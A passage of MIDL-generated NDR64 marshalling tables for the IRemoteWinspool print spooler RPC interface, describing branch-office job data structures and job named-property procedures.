 /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    }\n};\n\nstatic const __midl_frag1088_t __midl_frag1088 =\n{ \n/* RPC_BranchOfficeJobDataError */\n    { \n    /* RPC_BranchOfficeJobDataError */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataError */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag1096,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1087_t __midl_frag1087 =\n{ \n/* RPC_BranchOfficeJobDataRendered */\n    { \n    /* RPC_BranchOfficeJobDataRendered */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataRendered */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    }\n};\n\nstatic const __midl_frag1086_t __midl_frag1086 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    }\n};\n\nstatic const __midl_frag1080_t __midl_frag1080 =\n{ \n/* RPC_BranchOfficeJobDataPrinted */\n    { \n    /* RPC_BranchOfficeJobDataPrinted */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataPrinted */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 64 /* 0x40 */,\n        0,\n        0,\n        &__midl_frag1086,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* RPC_BranchOfficeJobDataPrinted */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1079_t __midl_frag1079 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag1078_t __midl_frag1078 =\n{ \n/* __MIDL_IRemoteWinspool_0021 */\n    { \n    /* __MIDL_IRemoteWinspool_0021 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 88 /* 0x58 */,\n        &__midl_frag1079,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag1080,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag1087,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag1088,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag1097,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag1101,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag1077_t __midl_frag1077 =\n{ \n/* RPC_BranchOfficeJobData */\n    { \n    /* RPC_BranchOfficeJobData */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobData */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 96 /* 0x60 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1078\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1076_t __midl_frag1076 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag1075_t __midl_frag1075 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag1077\n        },\n        &__midl_frag1076,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag1074_t __midl_frag1074 =\n{ \n/* RPC_BranchOfficeJobDataContainer */\n    { \n    /* RPC_BranchOfficeJobDataContainer */\n        0x36,    /* FC64_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataContainer */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        0,\n        0,\n        0,\n        &__midl_frag1075,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1073_t __midl_frag1073 =\n{ \n/* *RPC_BranchOfficeJobDataContainer */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1074\n};\n\nstatic const __midl_frag1072_t __midl_frag1072 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag1071_t __midl_frag1071 =\n{ \n/* RpcAsyncLogJobInfoForBranchOffice */\n    { \n    /* RpcAsyncLogJobInfoForBranchOffice */      /* procedure RpcAsyncLogJobInfoForBranchOffice */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBranchOfficeJobDataContainer */      /* parameter pBranchOfficeJobDataContainer */\n        &__midl_frag1074,\n        { \n        /* pBranchOfficeJobDataContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1069_t __midl_frag1069 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x5,    /* OP_UNARY_INDIRECTION */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x8,    /* FC64_UINT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag1068_t __midl_frag1068 =\n{ \n/* *RPC_PrintNamedProperty */\n    { \n    /* *RPC_PrintNamedProperty */\n        { \n        /* *RPC_PrintNamedProperty */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *RPC_PrintNamedProperty */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag1049\n        },\n        &__midl_frag1069,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag1067_t __midl_frag1067 =\n{ \n/* *RPC_PrintNamedProperty */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1068\n};\n\nstatic const __midl_frag1066_t __midl_frag1066 =\n{ \n/* **RPC_PrintNamedProperty */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1067\n};\n\nstatic const __midl_frag1065_t __midl_frag1065 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1064_t __midl_frag1064 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1065\n};\n\nstatic const __midl_frag1061_t __midl_frag1061 =\n{ \n/* RpcAsyncEnumJobNamedProperties */\n    { \n    /* RpcAsyncEnumJobNamedProperties */      /* procedure RpcAsyncEnumJobNamedProperties */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1065,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pcProperties */      /* parameter pcProperties */\n        &__midl_frag1065,\n        { \n        /* pcProperties */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppProperties */      /* parameter ppProperties */\n        &__midl_frag1066,\n        { \n        /* ppProperties */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1058_t __midl_frag1058 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1102\n};\n\nstatic const __midl_frag1055_t __midl_frag1055 =\n{ \n/* RpcAsyncDeleteJobNamedProperty */\n    { \n    /* RpcAsyncDeleteJobNamedProperty */      /* procedure RpcAsyncDeleteJobNamedProperty */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1065,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszName */      /* parameter pszName */\n        &__midl_frag1102,\n        { \n        /* pszName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1053_t __midl_frag1053 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    